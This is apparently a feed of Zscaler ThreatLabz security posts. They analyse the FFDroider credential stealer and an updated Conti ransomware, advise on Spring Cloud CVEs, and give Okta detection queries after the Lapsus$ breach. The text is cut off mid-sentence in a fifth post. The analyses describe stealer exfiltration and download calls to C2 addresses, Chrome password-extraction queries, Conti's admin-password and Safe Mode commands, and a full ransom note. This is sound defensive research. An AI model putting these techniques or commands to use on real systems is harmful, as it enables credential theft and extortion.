threat actors, malware, and ransomware families, phishing campaigns, and more. ThreatLabz supports industry information sharing and plays an integral role in the development of world-class security solutions at Zscaler. See the latest ThreatLabz threat research on the Zscaler blog. Tue, 26 4月 2022 08:00:01 -0700 Sahil Antil FFDroider Stealer Targeting Social Media Platform Users Introduction Credential stealing malware is commonly observed in the landscape of cyber attacks today. Zscaler ThreatLabz team has discovered many new types of stealer malwares across different attack campaigns. Stealers are malicious programs that threat actors use to collect sensitive information with various techniques including keylogging, cookie stealing, and sending stolen information to the Command and Control Server. Recently, ThreatLabz identified a novel windows based malware creating a registry key as FFDroider. Based on this observation, ThreatLabz named this new malware the Win32.PWS.FFDroider. Designed to send stolen credentials and cookies to a Command & Control server, FFDroider disguises itself on victim’s machines to look like the instant messaging application “Telegram”. ThreatLabz observed multiple campaign related to FFDroider stealer in our zscaler cloud which arrived via the compromised URL download.studymathlive[.]com/normal/lilay.exe and are all connected by a malicious program embedded into cracked version of installers and freeware. Figure 1: FFDroider campaign observed in Zscaler cloud Key features of this attack Steals cookies and credentials from the victim’s machine. Targeting social media platforms to steal the credentials and cookies. The stealer signs into victims' social media platforms using stolen cookies, and extracts account information like Facebook Ads-manager to run malicious advertisements with stored payment methods and Instagram via API to steal personal information.. Leverages inbound whitelisting rules in Windows Firewall allowing the malware to be copied at desired location. Attacker uses to track the infection counts. The attack cycle Figure 2: Attack cycle Infographic This article focuses primarily on the dissection of the stealer and its functionality. FFDroider stealer analysis The FFDroider stealer is packed with the popular “ASPack v2.12” packer. To best understand how the stealer works, ThreatLabz unpacked. decompiled, and debugged the malware, performing the following tasks during execution: To detect the full malware campaign across the Zscaler cloud, researchers unpacked the file to expose the PDB path: F:\FbRobot\Release\FbRobot.pdb Figure 3: PDB path During execution the stealer creates a Mutex to avoid reinfecting the host with different instances of the same malware. The observed mutex value is: “37238328-1324242-5456786-8fdff0-67547552436675” Figure 4: Mutex name created by malware To make copies of itself for further execution, the malware creates a Directory in the Documents folder named “VlcpVideov1.01”. Figure 5: Creating a copy of itself in the desired directory with a renowned application icon. Then it executes a String Decryption Routine which is basically a XOR Decryption loop amongst the encrypted string and the key where in it decrypts the following strings which include DLL and API names which are further loaded and fetched using LoadLibraryA() and GetProcAddress() WinApi’s “Wininet.dll” “InternetGetCookieExW” “ieframe.dll” “IEGetProtectedModeCookie” “Netapi32.dll” “NetWkstaGetInfo” “NetAPIBufferfree” “Advapi32.dll” “Iphpapi.dll” “RegCreateKey” ‘GetAdaptersInfo “FFDroider” Figure 6: String Decryption Routine To decrypt strings across the malware sample, ThreatLabz rewrote the XOR decryption logic in python, shown in the screenshot below. The complete decryption code snippet can be found in the Appendix section of this article. Figure 7: String decryption emulation in Python Inspiring the name, the FFDroider stealer uses the decrypted string and RegCreateKey() function to create the registry key: “HKCU\Software\ffdroider\FFDroider”. Figure 8: Creates a registry key named “FFDroider” Then the malware creates multiple threads using CreateThread() to speed the theft of cookies and credentials while hindering reverse engineering. An initial GET request is sent to the Command & Control Server along with the filename via WinHTTPSendRequest(). GET Request: http[:]//152[.]32[.]228[.]19/seemorebty/il.php?e=<filename> Referrer: https[:]facebook[.]com Previously a Cobalt Strike server according to third-party threat intel sources Figure 9: Initial request to the C&C server logs the filename and IP address of the infected host. The response to this request is an URL which is used to log the Public IP address of the environment where the malware has been detonated and might be used by the attackers to track location and IP addresses details of the victim. After analyzing the statistics of multiple Embedded iplogger URLs we can see how the IP addresses have been logged in the screenshots below. IPLogger URL: https[:]//iplogger[.]org/logger/ey4zrs2miAY6 Figure 10: IP address of Infected host logged using The malware further initiates the Cookie and Credential Stealer functionalities and targets the following browsers and websites: - Target Browsers: Google Chrome Mozilla Firefox Internet Explorer Microsoft Edge Figure 12: List of target browsers - Target Websites: www[.]facebook[.]com www[.]instagram[.]com www[.]amazon[.]ca/cn/eg/fr/de/in/ www[.]all-access.wax[.]io www[.]ebay[.]com www[.]etsy[.]com www[.]twitter[.]com Figure 13: List of Target Web applications - uses stack strings Understanding the Cookie and Credential Stealer Routine: Google Chrome: The FFDroider steals cookies and saved login credentials for the Chrome browser from the following data stores: i) Reads and parses the Chromium SQLite Cookie store from the C:\Users\<username>\AppData\Local\Google\Chrome\UserData\Default\Network\Cookies and writes the file onto the path where the binary resides using WriteFile() named as “d” Figure 14: Reads and parses the Chromium SQlite cookie store ii) Reads and parses the Chromium SQLite Credential Store from the C:\Users\<username>\Appdata\Local\Chrome\User Data\Default\Login Data containing the saved credentials and writes that onto the path where the binary resides using WriteFile() named as “p” as the credential store is been locked in the AppData directory. Figure 15: Reads and parses the “Chrome Saved Login Credentials” iii) The Chrome SQlite Credential store includes attributes - action_url, username_value, password_value, out of this the password_value is encrypted using Windows Crypt API namely CryptProtectData. The malware in this case decrypts the encrypted password blob by first parsing the “Login Data” credential store by executing an SQL query such as “select username_value, password-value FROM logins where origin_url like \’\’;”” as seen in the screenshot below. Figure 16: Execution of SQL queries across the Login Data Credential store for parsing the required credentials The password cache is fetched from the output and passed to the CryptUnProtectData() function for in memory decryption, revealing clear-text credentials stolen from the targeted web application Credential Store. Figure 17: Call to CryptUnprotectData to decrypt Saved chrome passwords in memory iv) Then it reads and parses the local state cookies stored at C:\Users\<username>\AppData\Local\Google\Chrome\UserData\LocalState and uses WriteFile() to write to the path named “u” where the binary resides. Figure 18: Reads and parses the local state chromium cookies Here the Cookies are also decrypted in memory using the CryptUnprotectData() function by loading the json “Local State” file and filtering out the two parameters: os_crypt and encrypted_key and then decrypted using the CryptUnprotectData() and stored in memory. Figure 19: Decrypts the Local state Cookies in memory using CryptUnprotectData The following decryption routine takes place to steal the cookies and stored credentials for all the Chrome stores implementing the same process using the SELECT SQL queries via sqlite3 library to fetch the required value and then CryptUnprotectData() function to decrypt the cookies and credentials in memory as per the target website. Figure 20: Different SQl Queries implemented in the binary to parse Cookie and Credentials stores Internet Explorer/Edge: The FFDroider Stealer gathers cookie,browser history and other user specific information from the internet explorer in the following way: i) The malware executes InternetGetCookieRxW() function to retrieve the cookies for the target websites mentioned above (HTTP ONLY cookies are been read) if they are restricted the IEGetProtectedModeCookie() function is been used to access low integrity cookies for all the target applications during which it launches an another process “IElowutil.exe” which is a utility in place to access the low integrity cookies and processes. Figure 21: Execution of InternetGetCookieExW & IEGet ProtectedMode Cookie to steal cookies from the Internet Explorer browser It also reads the Appdata\Roaming\Microsoft\Windows\Cookies and fetches the Cookie and the URL details from the Cookie store along with that it also parses the Cookies,History and downloads from the Microsoft Edge WebCache: C:\Users\<username>\Appdata\Local\Microsoft\Windows\WebCache\WebCacheV01.dat by copying it onto the place where the binary resides into the file named “d” which earlier had the chrome cookies. Figure 22: Reads and parses the web cache file of the Edge browser to steal cookies, browsing history, and session data. Furthermore, it reads and parses the Appdata\Roaming\Microsoft\-Windows\History\History.IE5 and \Appdata\Local\Microsoft\Windows\Temporary internet files\Content.IE5 which would allow the malware to read the browsing history and the The Internet Explorer cache from the stores wherein it queries for attributes such as URL visited,Filename other metadata for the target websites. Also the malware plans to steal saved VPN/Dial Up credentials from the \Appdata\Microsoft\Network\Connections\Pbk\rasphone.pbk & \Pbk\rasphone.pbk if present, by leveraging the Rasapi32.dll API calls. Mozilla FireFox: The FFDroider Stealer steals and parses the cookies from the Firefox browser initially by reading the profiles.ini (Path: C:\Users\<username>\Appdata\Roaming\Mozilla\Firefox\profiles.ini) which consists of the name(s) of the used profile(s). Further the malware uses those profile names to access SQLite cookie stores named: “cookies.sqlite” (Path: C:\Users\<username>\Appdata\Roaming\Mozilla\Firefox\Profiles\<profilename>\cookies.sqlite) for the user profiles. The cookie attributes are then parsed by using few SQl Queries such as “SELECT host,name,path,value,expiry FROM moz_cookies to fetch the Hostkey,Name,Path,Value and the Expiry of the Cookies stored in the Firefox Cookie store. Figure 23: Reads and parses the Mozilla Firefox SQlite Cookie store. Facebook and Instagram Data Gathering: The FFDroider Stealer holds another functionality wherein if the malware grabs cookies for or from any of the target browsers the cookies are replayed to www[.]facebook[.]com and www[.]instagram[.]com to gather intelligence from the Users Facebook or Instagram accounts. Facebook: Following requests were executed by the malware post grabbing the cookie values: i) Initially it sends a GET request to the https[:]//facebook[.]com along with the stealed facebook cookie from the target browsers to check whether the malware is able to authenticate using the following set of stealed cookies. Figure 24: Passes the stolen facebook cookie to facebook[.]com for authentication ii) If the cookies are valid and provide proper authentication, further it sends a GET /settings with the Access Token to along with the authenticated stealed cookies in order to fetch the User Account settings of the Compromised Account. Figure 25: Grabs Account details and Access Token from the Compromised facebook account iii) Further it starts enumerating whether the compromised user account is a business account and having access to Facebook Ads Manager and fetch the following details using the stealed cookies by parsing the responses: Fetch Account Billing and Payment Information from the Facebook Adsmanager Fetch users Facebook pages and bookmarks. Number of facebook friends and other user related information Figure 26: Fetches Account Billing information from Ads manager along with the Facebook Bookmark & Pages information. The following information may be leveraged later to run malicious advertisements from the victims account and utilize the compromised accounts payment method to spread the malware further. Instagram: In the case of instagram, whenever the malware grabs any instagram cookies from the target browser cookies stores, it performs the following routine in to steal user account details from the Instagram account as follows: i) Initially it sends a GET request to the https[:]//instagram[.]com along with the stealed instagram cookie to check whether the malware is able to authenticate using the following set of stealed cookies and parses the html response. Figure 27: Passes the Stolen Instagram cookie to instagram[.]com for authentication ii) If there is a valid response, it sends the next GET request to the instagram server with the username of the compromised account GET /<username> which was parsed from the previous response and basically visits the profile page. Figure 28: Visits the profile of the Victim in order to grab required user information iii) Further it sends another request: GET /accounts/edit/ to www[.] which opens up the Account settings containing all the personal account related information such as the account email address, mobile number and other details of the compromised account. Figure 29: Grabs Personal information such as email address, phone number from the instagram account edit webpage. Furthermore, in the same manner all of the account related information such as username,password,mobile number and other account details are been grabbed from the target websites in the form of cookies,saved credentials and fetched using different API’s and then sent to the command and control server in an encrypted manner to the threat actors as discussed below. Exfiltration of Stolen Information to the C2 Server: Then the malware sends an HTTP POST request to the C2 server: http[:]//152[.]32[.]228[.]19/seemorebty along with the encrypted cache of data for exfiltration. Figure 30: Encrypted request sent to Command & Control server for exfiltrating the encrypted data cache. Such kind of encrypted data using modified base64 encoding is sent to the C&C from the infected system when a valid facebook account cookie was provided to the malware in the chrome browser. The decrypted json body can be seen in the screenshot below for Facebook related exfiltration where in a lot of Facebook user account information has been transmitted to the C2: Figure 31: Decrypted Request consisting of the Stolen information from the compromised facebook Cookie An Instagram user’s personal account information including cookies, email password, Instagram userID, saved password, phone number are revealed in this decrypted request.. Decrypted JSON body: Figure 32: Decrypted request showing sensitive data stolen from Instagram. Encrypted request: Figure 33: Encrypted request showing stolen Instagram account information. Also an inbound whitelisting rule in the Windows Firewall as shown below in the screenshot which requires administrative privileges. Figure 34: Inbound Firewall rule added by the FFDroider malware which would further enable disallowed connections to the infected host. Downloader Functionality: After stealing and sending across the stolen details from the target browsers and websites to the Command & Control. The FFDroider Stealer further it tries to upgrade itself in a fixed interval of time by downloading other modules from an update server by sending across request to the following as mentioned - URL:http[:]//186[.]2[.]171[.]17/seemorebtu/poe.php?e=<filename> by calling wininet.dll APIs such as InternetOpenUrlW and InternetReadFile. The module is written onto the disk in the previously created “VlcpVideov1.01” directory as “install.exe”. Figure 35: Malware sends request to the Update server to upgrade itself in a fixed interval of time. Debugging Functionality: During the process of reverse engineering the malware, we came across a functionality which was developed by the malware authors to debug the malware. If the filename at the time of execution is test.exe then the malware goes into its debug state and pops up messages on every loop where in, it prints out the stolen cookies and the final json body which is to be sent to the C&C from each and every browser for the target websites as shown in the screenshot below. Figure 36: Debugging functionality implemented by the malware authors Cloud Sandbox detection Figure 37: The Zscaler Cloud Sandbox successfully detected the malware. In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels Win32.PWS.FFDroider Conclusion Over the years, Stealer’s became one of the most commonly used malware in any cyber attack campaign. The Zscaler ThreatLabz team will continue to monitor this attack, as well as others, to help keep our customers safe. Mitre table T1055 Process Injection T1027 Obfuscated Files or Information T1027-002 Software Packing T1003 OS Credential Dumping T1016 System Network Configuration Discovery T1018 Remote System Discovery T1057 Process Discovery T1082 System Information Discovery T1083 File and Directory Discovery T1005 Data from Local System Indicators of Compromise: Hash: beb93a48eefd9be5e5664754e9c6f175 e8c629383fe4b2c0cbf57b0d335fc53f 6a235ccfd5dd5e47d299f664d03652b7 b11fd571c6cc4b8768f33a2da71fbb6e URL: download[.]studymathlive[.]com/normal/vinmall880[.]exe download[.]studymathlive[.]com/normal/lilay[.]exe download[.]studymathlive[.]com/install/vinmall1[.]exe?_sm_byp=iVVkm23V4sqBFtNM download[.]studymathlive[.]com/install/vinmall1[.]exe?_sm_byp=iVVJWHH51nHRJTzP Appendix: FFDroider Stealer String Decryption Python Code - Wed, 06 4月 2022 08:24:48 -0700 Avinash Kumar Analysis of Spring Cloud Framework Vulnerabilities Background: Over the past few days, the Zscaler ThreatLabz team has been closely monitoring the reports of potential RCEs in Spring Cloud Framework and Spring Cloud Function. Spring is an open-source lightweight Java platform which many developers use as their application development framework. As part of the Spring echo system, Spring Cloud is a component using which one can write cloud agnostics code or develop applications and make them working on well known cloud services such as AWS, Azure, Alibaba etc. The Spring Cloud Function is one of the subcomponents of Spring Cloud Function which enables developers to do serverless programming. Leveraging from our internal research and the published articles, github posts and POCs, at the moment our understanding is that there could potentially be more than one issue in Spring Cloud Framework and sub-component Spring Cloud Function. At the moment, we are discussing two issues/vulnerabilities here. CVE-2022-22963 - Spring Expression Resource Access Vulnerability which can provide access to the critical systems/resources to the unauthenticated adversary. At the moment it is categorized as a medium severity issue. CVE-2022-22965 aka Spring4Shell or SpringShell - Spring Framework RCE via Data Binding on JDK 9+. This vulnerability is categorized as Critical. What are the issues? 1. CVE-2022-22963 Spring Expression Resource Access Vulnerability was found in Spring Cloud Function versions 3.1.6 and 3.2.2 or prior. The adversaries can exploit this vulnerability by sending a crafted HTTP request packet with the specific HTTP header named,, in the HTTP request packet. This parameter is treated as SpEL expression when the routing is in use. Vulnerable version of the Spring Cloud Function, while parsing this specific HTTP header,, along with the malformed SpEL expression, can allow an adversary to gain access to the critical resources on servers, systems which can allow adversary to perform further malicious activities. The vulnerability has been classified as “medium” at the moment. However, the actual impact of exploiting this vulnerability is unknown. Vulnerable versions for CVE-2022-22963: Spring Cloud Function versions between 3.1.6 or prior and 3.2.2 or prior seem to be vulnerable to the Expression Resource Access Vulnerability. Spring Foundation Version Patched for CVE-2022-22963: The Spring Foundation version 3.1.7 and 3.2.3 have been released to patch this critical vulnerability. Zsclaer strongly recommends upgrading to these versions depending on what current version of Spring Foundation is deployed. 2. CVE-2022-22965 [Spring4Shell OR SpringShell] There is a severe Remote Code Execution vulnerability in Spring Core JDK9+. This vulnerability can allow an unauthenticated attacker to execute arbitrary code on the target system. As per the sources available publicly, exploiting this vulnerability in certain configurations is relatively easier because it can be exploited with just simple crafted HTTP requests when sent to a vulnerable server. While in other configurations, it may not be that easy for an adversary to exploit and may require him/her to perform additional research. To exploit this vulnerability, the vulnerable system should have DataBinder enabled, and exploitation depends majorly on the Servlet container of the application. As per the researcher who confirmed the exploitation, when Spring is deployed to Apache Tomcat, the WebAppClassLoader is accessible, which allows an attacker to call getters and setters and can write a malicious file to disk. However, if Spring is deployed using the Embedded Tomcat Servlet Container, the classloader is a LaunchedURLClassLoader which has limited access. The details on the vulnerability and possible exploitation through a proof-of-concept is described here. Mitigations CVE-2022-22963 Users of affected versions should upgrade to 3.1.7, 3.2.3. Releases that have fixed this issue include: Spring Cloud Function - 3.1.7 - 3.2.3 CVE-2022-22965 Users of affected versions should apply the following mitigation: 5.3.x users should upgrade to 5.3.18+, 5.2.x users should upgrade to 5.2.20+. There are other mitigation steps for applications that cannot upgrade to the above versions. Releases that have fixed this issue include: Spring Framework - 5.3.18+ - 5.2.20+ Best Practices/Guidelines To follow: Limit the impact from a potential compromise by restricting lateral movement with identity-based micro-segmentation (Zscaler Workload Segmentation) and a Zero Trust architecture. Safeguard crown jewel applications by limiting lateral movement using Zscaler Private Access, especially with application security modules turned on. Route all server traffic through Zscaler Private Access with additional application security module enabled and Zscaler Internet Access, which will provide the right visibility to identify and stop malicious activity from compromised systems/servers. Restrict traffic to the critical infrastructure from the allowed list of known-good destinations. Ensure you are inspecting all SSL traffic. Turn on Advanced Threat Protection to block all known command-and-control domains. This will provide additional protection in case the adversary exploits this vulnerability to implant malware. Extend command-and-control protection to all ports and protocols with the Advanced Cloud Firewall (Cloud IPS module), including emerging C2 destinations. Again, this will provide additional protection in case if the adversary exploits this vulnerability to implant malware. Use Advanced Cloud Sandbox to prevent unknown malware delivered as part of a second stage payload. Zscaler Coverage: Zscaler’s ThreatLabZ team has deployed protection for all known POCs for these vulnerabilities. Advanced Threat Protection HTML.Exploit.Spring4Shell HTML.Exploit.CVE-2022-22963 Zscaler Private Access w/ Application Security HTML.Exploit.CVE-2022-22963 HTML.Exploit.Spring4Shell Additional References: 1. 2. 3. 4. 5. 6. 7. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Thu, 31 3月 2022 13:26:23 -0700 Jithin Nair Conti Ransomware Attacks Persist With an Updated Version Despite Leaks In late January 2022, ThreatLabz identified an updated version of Conti ransomware as part of the global ransomware tracking efforts. This update was released prior to the massive leak of Conti source code and chat logs on Februrary 27, 2022. The leaks were published by a Ukrainian researcher after the invasion of Ukraine. However, since these leaks were published, the Conti gang has continued to attack organizations and conduct business as usual. While two versions of Conti source code have been leaked, the most recent ransomware code has not yet been leaked. This blog will highlight the most recent changes to the ransomware and how Conti improved file encryption, introduced techniques to better evade security software, and streamlined the ransom payment process. Technical Analysis The most recent Conti update introduced a number of new features and changes to the ransomware code. Some of these modifications include new command-line arguments that are highlighted in bold in Table 1. Command-Line Argument Description -log Previously used to log ransomware actions; this functionality has been removed, but the command-line switch remains an artifact from the previous version -path Start encryption using the specified path as the root directory -size Size parameter for large file encryption -mode Encryption mode local (disks) or net (network shares); the all and backups options were removed -user Log in to Windows Safe Mode as the specified user -pass Log in to Windows Safe Mode as the user with the corresponding password -safeboot Force reboot the system and launch Conti in Windows Safe Mode -disablesafeboot Disable Windows Safe Mode and reboot the system (used after file encryption occurs in Windows Safe Mode) -nomutex Previously used to prevent the creation of a mutex; currently unused Table 1. Conti command-line arguments updated in January 2022 The functionality for the command-line arguments -log and -nomutex was removed. The new command-line parameters that were added are related to features that enable Conti to reboot the system in Windows Safe Mode with networking enabled and then start file encryption. By booting in Safe Mode, Conti can maximize the number of files that are encrypted, because business applications such as databases are likely not running. Therefore, those applications will not have open file handles that could prevent file encryption. In addition, many security software applications (e.g., antivirus programs) will not be loaded by default when the system is running in Safe Mode. The ability to encrypt files in Windows Safe Mode is a feature that has been observed in other ransomware families including REvil and BlackMatter. If the -safeboot command-line argument is provided together with the -user and -pass parameters, Conti will use these values to automatically log in with the specified credentials when the system is rebooted into Safe Mode. This is performed by setting the registry values under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon to the following: AutoAdminLogon = 1 DefaultUserName = <username> DefaultDomainName = <computer_name or domain_name> DefaultPassword = <password> The -user argument is expected to be in the format: <domain_name>\<username>. If the -safeboot command-line argument is passed by itself (without the -user and -pass parameters), Conti will search for users that have administrator privileges by searching for the security identifier (SID) prefix S-1-5-21 with the relative identifier (RID) -500. If Conti is able to locate an administrator account, Conti will execute the command cmd.exe /c net user <admin> /active:yes to make sure the account is enabled. Conti will then attempt to change the password for this account to an empty string by executing the command cmd.exe /c net user <admin> "". The corresponding registry values will then be set to automatically log in as the administrator in Safe Mode when the system is rebooted. Figure 1 shows example registry values set after an administrator account has been set up to automatically log in. Figure 1. Example Windows registry modifications made by Conti to automatically log in as an administrator In order to execute Conti when the system is booted into Safe Mode, a registry value is created under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce with the name *conti and the value <path_to_conti_executable> -disablesafeboot. Conti then executes the command bcedit.exe /set {current} safeboot network and forces a system reboot by calling the Windows API function ExitWindowsEx(). This will launch Windows in Safe Mode with networking enabled as shown in Figure 2. The network mode is enabled, so that Conti can still be used to encrypt files on network shares. Figure 2. Conti booting Windows into Safe Mode with networking enabled to encrypt files After Conti has completed file encryption in Safe Mode, it executes the command bcedit.exe /deletevalue {current} safeboot and reboots the system. Conti's file encryption algorithms remain the same as previous versions with a per file random 256-bit ChaCha symmetric key. Each file's ChaCha key is protected by a hardcoded victim-specific 4,096-bit RSA public key. The new Conti update also added the ability to change desktop wallpaper by writing an embedded PNG file to C:\ProgramData\conti.png. An example of the Conti wallpaper image is shown in Figure 3. Figure 3. Conti PNG image used to set the victim’s desktop wallpaper after file encryption The feature to change the wallpaper after file encryption is very common among ransomware families to further attract the attention of victims. In order to hinder malware analysis, Conti dynamically resolves most Windows API functions by using a hash algorithm. In the previous version of Conti, the hash algorithm was Murmur2, while the latest version now uses Murmur3. This produces different hash values for all API functions that are used by Conti, which may evade security software that searches for the corresponding hash values. Conti also updated the encrypted file extensions to include uppercase and lowercase characters and numbers. The following file extension examples have been observed in recent Conti samples: .ZG7Ak .wjzPe .LvOYK .C5eFx .fgM9X This encrypted file extension modification may be designed to bypass endpoint security software that could identify the previous Conti ransomware pattern that used five uppercase letters. Conti also updated the ransom note and TOR hidden service URL. An example of a recent Conti ransom note is shown below: All of your files are currently encrypted by CONTI strain. If you don't know who we are - just "Google it." As you already know, all of your data has been encrypted by our software. It cannot be recovered by any means without contacting our team directly. DON'T TRY TO RECOVER your data by yourselves. Any attempt to recover your data (including the usage of the additional recovery software) can damage your files. However, if you want to try - we recommend choosing the data of the lowest value. DON'T TRY TO IGNORE us. We've downloaded a pack of your internal data and are ready to publish it on our news website if you do not respond. So it will be better for both sides if you contact us as soon as possible. DON'T TRY TO CONTACT feds or any recovery companies. We have our informants in these structures, so any of your complaints will be immediately directed to us. So if you will hire any recovery company for negotiations or send requests to the police/FBI/investigators, we will consider this as a hostile intent and initiate the publication of whole compromised data immediately. To prove that we REALLY CAN get your data back - we offer you to decrypt two random files completely free of charge. You can contact our team directly for further instructions through our website : TOR VERSION : (you should download and install TOR browser first https://torproject[.]org) http://contirec7nchr45rx6ympez5rj...vaeywhvoj3wad[.]onion/<victim_path> YOU SHOULD BE AWARE! We will speak only with an authorized person. It can be the CEO, top management, etc. In case you are not such a person - DON'T CONTACT US! Your decisions and action can result in serious harm to your company! Inform your supervisors and stay calm! The new Conti ransom note is streamlined with a direct link to a victim-specific chat portal. Prior versions required a victim to access the portal and then upload their ransom note, which contained a unique identifier. A copy of this Conti ransom note can be found in the ThreatLabz ransom note GitHub repository here. The latest Conti portal contains a landing page that instructs the user to follow the instructions in the README.txt file that is written to disk after file encryption. It no longer supports a victim uploading the ransom note to authenticate as shown in Figure 4. Figure 4. Updated Conti ransom portal landing page Conclusion In January 2022, Conti introduced new features to bring feature parity with other ransomware families including the ability to encrypt files in Windows Safe Mode and change the desktop wallpaper. Despite the group's source code and chat logs being leaked online in February 2022, Conti continues to conduct ransomware attacks against large organizations. ThreatLabz expects the Conti gang to further update the malware and potentially rebrand as the source code leaks have damaged their reputation and may lead to other criminal groups forking the code. Zscaler Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Ransom.Conti Win64.Ransom.Conti Indicators of Compromise SHA256 Description fca8d48afa7e5535fb71fd22225e86602d47dcfa5a4924fcbc33aecd9c945847 Conti ransomware 16cc7519945bace49ef729e69db7d19e00252f2bd559903e1631c8878c2360f4 Conti ransomware e6818bf8c6d20501485fc0cc644d33fcea4bd9a3b45c5d61e98317bda5c080c4 Conti ransomware 182f94d26de58b8b02ddf7223f95d153b5e907fa103c34ed76cae2c816f865f0 Conti ransomware e950c625a94ce9e609778fcc86325530774e45572ff58ebc6549e2627941b5cc Conti ransomware About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Fri, 25 3月 2022 09:54:38 -0700 Brett Stone-Gross Lapsus$ Attack on Okta: How to Evaluate the Impact to your Organization Microsoft and Okta disclosed breaches this week involving Lapsus$, a cybercrime group that has made headlines multiple times in recent months for attacks against corporations including NVIDIA, Ubisoft, Samsung, and Vodafone. The group specializes in stealing and extorting data in exchange for a ransom payment. Lapsus$ is known to leverage low-tech but high-impact methods to gain access to organizations. Lapsus$ has used tactics such as social engineering, SIM swapping, and paying employees and business partners for access to credentials and multifactor authentication approvals. The first known extortion attempt by Lapsus$ included the Brazil Health Ministry in December of 2021. What happened in the Okta attack? According to a blog penned by the Okta CISO, here’s what happened: On January 20 2022, a third-party customer support engineer working for Okta had their account compromised by Lapsus$. Lapsus$ was seeking information on Okta customers, not Okta directly. The threat actor compromised information from up to 366 Okta customers. Per Okta, the data that was accessible in this breach was very limited – though it’s worth noting that Lapsus$ refuted this statement, claiming the ability to reset passwords and MFA factors. Per Okta, the incident was mitigated within hours of the initial compromise and is no longer a security risk. On March 22, 2022, Lapsus$ posted screenshots of their compromise to Telegram. Zscaler’s cloud is not at risk: After a thorough investigation, ThreatLabz determined that Zscaler has not been impacted by the Okta breach. While Zscaler does use Okta internally for employees as an Identity Provider (IDP), all access to our production environments requires multiple additional factors including hardware tokens not provided by Okta. You can read the ThreatLabz trust post here. Additionally, the Zscaler platform is built on a holistic zero trust architecture that offers defense-in-depth against supply chain and compromised user attacks, mitigating incidents such as this in the following ways: Eliminates lateral movement: Zscaler connects users directly to apps, not the network, to limit the blast radius of a potential incident. Shuts down compromised users and insider threats: If an attacker gains access to your identity system, we can prevent private app exploit attempts with in-line inspection and detect the most sophisticated attackers with integrated deception. Stops data loss: Zscaler inspects data-in-motion and data-at-rest to prevent potential data theft from an active attacker. ThreatLabz’ SOC playbook for Okta: The Zscaler Security team has developed a Security Operations Center (SOC) playbook for identity (IDP) providers, giving our security analysts and researchers fast track access to threat identification and remediation at the user level. Suspicious behaviors trigger a security action workflow: for example, moving a user to a higher-access security group, changing multi-factor authentication methods, or other anomalous and potentially dangerous user behaviors. A review of IDP logs for indicators of compromise associated with this attack should include the following steps: Review Okta admin/super admin account audit logs. Review cloud admin/super admin account audit logs. Review all executive accounts including MFA method changes. Review new Okta account creations and compare against employee onboarding. Review full Okta config to check for API access, logging configs, etc. Identify Okta accounts where MFA was disabled from January 1, 2022 to March 22, 2022. Identify the user and root cause of the disablement. Re-enable MFA for those accounts. Reset password for Okta admins. Reset 2-factor authentication for Okta superadmins. Rotate Okta-generated API tokens. Verify Okta Support access is disabled. Verify Directory Debugger access is disabled. Review all critical users' access levels. SOC Detection Rules for Okta The process to enable Threat Detection for Okta using a SOC Playbook should be well-defined with specific workflows and actions. Okta has pre-built log ingestion modules for many of the common SIEM solutions. Once events are ingested, a number of queries can be created and easily leveraged for signs of a potential compromise or other suspicious activities. While they are not a comprehensive set of queries, they serve as a solid starting point for a security investigation. Detection Name Detection Query MFA Deactivation Attempt event.dataset:okta.system and event.action:user.mfa.factor.deactivate MFA Reset Attempt event.dataset:okta.system and event.action:user.mfa.factor.reset_all MFA Push Brute Force Attempt sequence by with maxspan=10m [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.authentication.sso"] MFA Bypass Attempt event.dataset:okta.system and event.action:user.mfa.attempt_bypass Account Login Brute Force Attempt event.dataset:okta.system and event.action:user.account.lock User Session Impersonation event.dataset:okta.system and event.action:user.session.impersonation.initiate Group Administrative Privilege Assignment event.dataset:okta.system and event.action:group.privilege.grant User Administrative Privilege Assignment event.dataset:okta.system and event.action:user.account.privilege.grant Policy Rule Modification event.dataset:okta.system and event.action:policy.rule.update Policy Rule Deletion event.dataset:okta.system and event.action:policy.rule.delete Policy Rule Deactivation event.dataset:okta.system and event.action:policy.rule.deactivate Guidance and Best Practices If you are an Okta customer, we encourage you to take the following steps to protect your business: Contact Okta to ensure your organization’s data wasn’t compromised. Rotate all credentials and ensure MFA is enabled for all users. Consider MFA methods not facilitated by Okta for critical systems including hardware-based tokens. Review logs in your Okta tenant from January to March of 2022 to look for suspicious activity, including password & MFA resets, user account email updates, admin privileges within your IDP tenant, and configuration changes. Continually review policies and procedures with any organization involved in your supply chain. Many organizations were potentially impacted by this incident. Run security incident preparedness exercises for incidents just like this (a primary Identity Provider compromise) to understand how to respond and what to communicate to whom and when. Learn more: join a live ThreatLabz briefing on Tuesday, March 22 and 9:30am PT for updated information on the Lapsus$ attack on Okta, a walkthrough of our SOC playbook, and zero trust strategies for preventing and mitigating damage from similar compromises in the future. Register now. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Thu, 24 3月 2022 15:04:49 -0700 Deepen Desai Analysis of BlackGuard - A New Info Stealer Malware Being Sold In A Russian Hacking Forum Introduction: Hacking forums often double up as underground marketplaces where cybercriminals buy, rent, and 